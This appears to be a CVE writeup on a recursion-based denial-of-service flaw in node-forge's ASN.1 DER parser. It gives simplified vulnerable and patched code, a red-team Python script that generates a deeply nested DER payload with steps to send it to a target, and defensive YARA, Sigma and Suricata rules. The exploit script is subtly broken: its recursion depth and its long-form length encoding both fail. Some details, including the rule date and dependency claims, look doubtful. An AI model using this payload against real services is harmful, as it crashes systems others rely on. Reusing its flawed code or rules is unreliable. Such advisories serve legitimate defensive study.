CVE-2025-66031

Executive Summary

CVE-2025-66031 is a high-severity Denial-of-Service (DoS) vulnerability in the node-forge library, a native JavaScript implementation of Transport Layer Security (TLS). The flaw resides in the ASN.1 parsing module, where an Uncontrolled Recursion (CWE-674) allows remote, unauthenticated attackers to craft deeply nested ASN.1 structures. When parsed, these structures trigger unbounded recursive function calls, leading to stack exhaustion and a crash of the Node.js process. The vulnerability affects all versions of node-forge prior to 1.3.2. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the attack vector is trivial to execute once a target is identified.

Supply Chain & Package Security

node-forge is a widely used npm package for cryptographic operations in Node.js environments. This vulnerability is particularly dangerous in supply chain contexts because:

• Widespread Use: The package is a dependency of many popular libraries (e.g., jsonwebtoken, node-jose, web-push).
• No Authentication Required: The attack is unauthenticated and can be triggered by any network request that passes untrusted DER data to the library.
• Low Detection: Stack exhaustion crashes may be misattributed to other causes, delaying incident response.
• Patching Urgency: All downstream consumers must update to version 1.3.2 or later to eliminate the risk.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Threat Level: High. The attack is simple, requires no authentication, and can be executed with a single crafted network packet.

Deep Dive & Mechanics

The vulnerability exists in the ASN.1 parsing logic of node-forge. ASN.1 (Abstract Syntax Notation One) is a standard used to describe data structures, and DER (Distinguished Encoding Rules) is its binary encoding. The forge.asn1.fromDer() function recursively parses nested structures. In vulnerable versions, there is no depth limit on recursion. An attacker can craft a DER-encoded payload with extremely deep nesting (e.g., thousands of nested SEQUENCE tags). When parsed, each level of nesting adds a new stack frame. Eventually, the call stack overflows, causing the Node.js process to crash with a RangeError: Maximum call stack size exceeded.

Technical Flow:

1. Attacker sends a network request containing a malicious DER blob.
2. The application calls forge.asn1.fromDer() on the blob.
3. The parser enters a recursive function for each nested ASN.1 tag.
4. Recursion depth exceeds the JavaScript engine's stack limit.
5. Process crashes, resulting in DoS.

Root Cause: Lack of a recursion depth check in the _readTag or equivalent internal function.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.3.2):

// Simplified representation of the recursive parsing
function parseTag(derBuffer, offset) {
  var tag = derBuffer.getByte(offset);
  var length = parseLength(derBuffer, offset + 1);
  // Recursively parse nested tags without depth limit
  var children = [];
  if (isConstructed(tag)) {
    var innerOffset = offset + 2 + lengthBytes;
    while (innerOffset < offset + 2 + lengthBytes + length) {
      var child = parseTag(derBuffer, innerOffset);
      children.push(child);
      innerOffset += child.totalLength;
    }
  }
  return { tag: tag, children: children };
}

Patched Code (version 1.3.2):

// Patched version with depth limit
function parseTag(derBuffer, offset, depth) {
  if (depth > MAX_DEPTH) {
    throw new Error('ASN.1 parsing depth exceeded');
  }
  var tag = derBuffer.getByte(offset);
  var length = parseLength(derBuffer, offset + 1);
  var children = [];
  if (isConstructed(tag)) {
    var innerOffset = offset + 2 + lengthBytes;
    while (innerOffset < offset + 2 + lengthBytes + length) {
      var child = parseTag(derBuffer, innerOffset, depth + 1);
      children.push(child);
      innerOffset += child.totalLength;
    }
  }
  return { tag: tag, children: children };
}

The patch introduces a depth parameter and a MAX_DEPTH constant (e.g., 100). If the recursion exceeds this limit, an exception is thrown, preventing stack exhaustion.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Objective: Crash a Node.js application using node-forge by sending a deeply nested DER payload.

Lab Setup:

1. Target: A Node.js server using node-forge to parse DER certificates (e.g., an HTTPS server or a certificate validation endpoint).
2. Attacker Machine: Any system with Python or Node.js to generate the payload.

Exploit Code:

# generate_deep_der.py
import struct

def build_deep_der(depth):
    # ASN.1 SEQUENCE tag (0x30) with indefinite length (0x80 0x00)
    # For simplicity, use definite length encoding
    # Each level: SEQUENCE { inner }
    if depth == 0:
        return b'\x05\x00'  # NULL tag (0x05, length 0)
    inner = build_deep_der(depth - 1)
    # SEQUENCE tag (0x30), length of inner
    length = len(inner)
    if length < 128:
        header = b'\x30' + bytes([length])
    else:
        # Long form length (not needed for small depths)
        header = b'\x30' + bytes([0x81, length])
    return header + inner

# Generate payload with 10000 nested SEQUENCEs
payload = build_deep_der(10000)
with open('malicious.der', 'wb') as f:
    f.write(payload)
print(f"Generated payload of {len(payload)} bytes")

Execution:

1. Run the Python script to generate malicious.der.
2. Send the payload to the target application (e.g., via HTTP POST to an endpoint that parses DER).
3. Observe the target process crash.

Expected Outcome: The Node.js process exits with a stack overflow error.

Blue Team (Defense & Detection)

Defensive Measures:

1. Immediate Patching: Update node-forge to version 1.3.2 or later.
2. Input Validation: Reject excessively large or deeply nested DER inputs before parsing.
3. Resource Limits: Use Node.js --stack-size flag to increase stack size (temporary workaround).
4. Process Monitoring: Monitor for crashes and restart services automatically (e.g., using PM2 or Kubernetes liveness probes).

Detection:

• Monitor logs for RangeError: Maximum call stack size exceeded errors.
• Use network intrusion detection to flag unusually large or deeply nested ASN.1 payloads.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_66031_ASN1_DeepNesting {
    meta:
        description = "Detects deeply nested ASN.1 DER structures indicative of CVE-2025-66031 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66031"
    strings:
        $seq = { 30 }  // ASN.1 SEQUENCE tag
        $null = { 05 00 }  // NULL tag (common leaf)
    condition:
        // Check for many SEQUENCE tags in a small payload (indicative of deep nesting)
        #seq > 100 and #null > 0 and filesize < 10000
}

Sigma Rule

title: Node-Forge Stack Exhaustion via Deep ASN.1 Parsing
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects Node.js process crashes caused by CVE-2025-66031
logsource:
    product: nodejs
    service: application
detection:
    selection:
        EventID: 1001  # Application Error (Windows) or similar
        Message|contains: 'Maximum call stack size exceeded'
    condition: selection
falsepositives:
    - Legitimate deep ASN.1 structures (rare)
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-66031 - Deep ASN.1 DER Payload"; content:"|30|"; depth:1; byte_test:1,>,100,0; classtype:attempted-dos; sid:1000001; rev:1;)

Note: This rule flags packets where the first byte is 0x30 (SEQUENCE) and the length byte exceeds 100, indicating potential deep nesting. Adjust thresholds based on environment.

Remediation & Mitigation

Immediate Actions:

1. Update node-forge: Run npm install node-forge@1.3.2 or later.
2. Restart Services: After patching, restart all Node.js processes that use the library.
3. Verify Patch: Check that node-forge version is >= 1.3.2 in package-lock.json.

Long-Term Mitigations:

• Input Sanitization: Implement a pre-parser that rejects DER inputs with excessive nesting (e.g., > 100 levels).
• Stack Monitoring: Use Node.js --stack-size to increase stack limit as a temporary buffer.
• Process Isolation: Run Node.js in containers with resource limits (e.g., Docker --memory and --pids-limit).
• WAF Rules: Deploy Web Application Firewall rules to block payloads with suspicious ASN.1 patterns.

Vendor Communication: No further action required as the vendor has released a patch.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst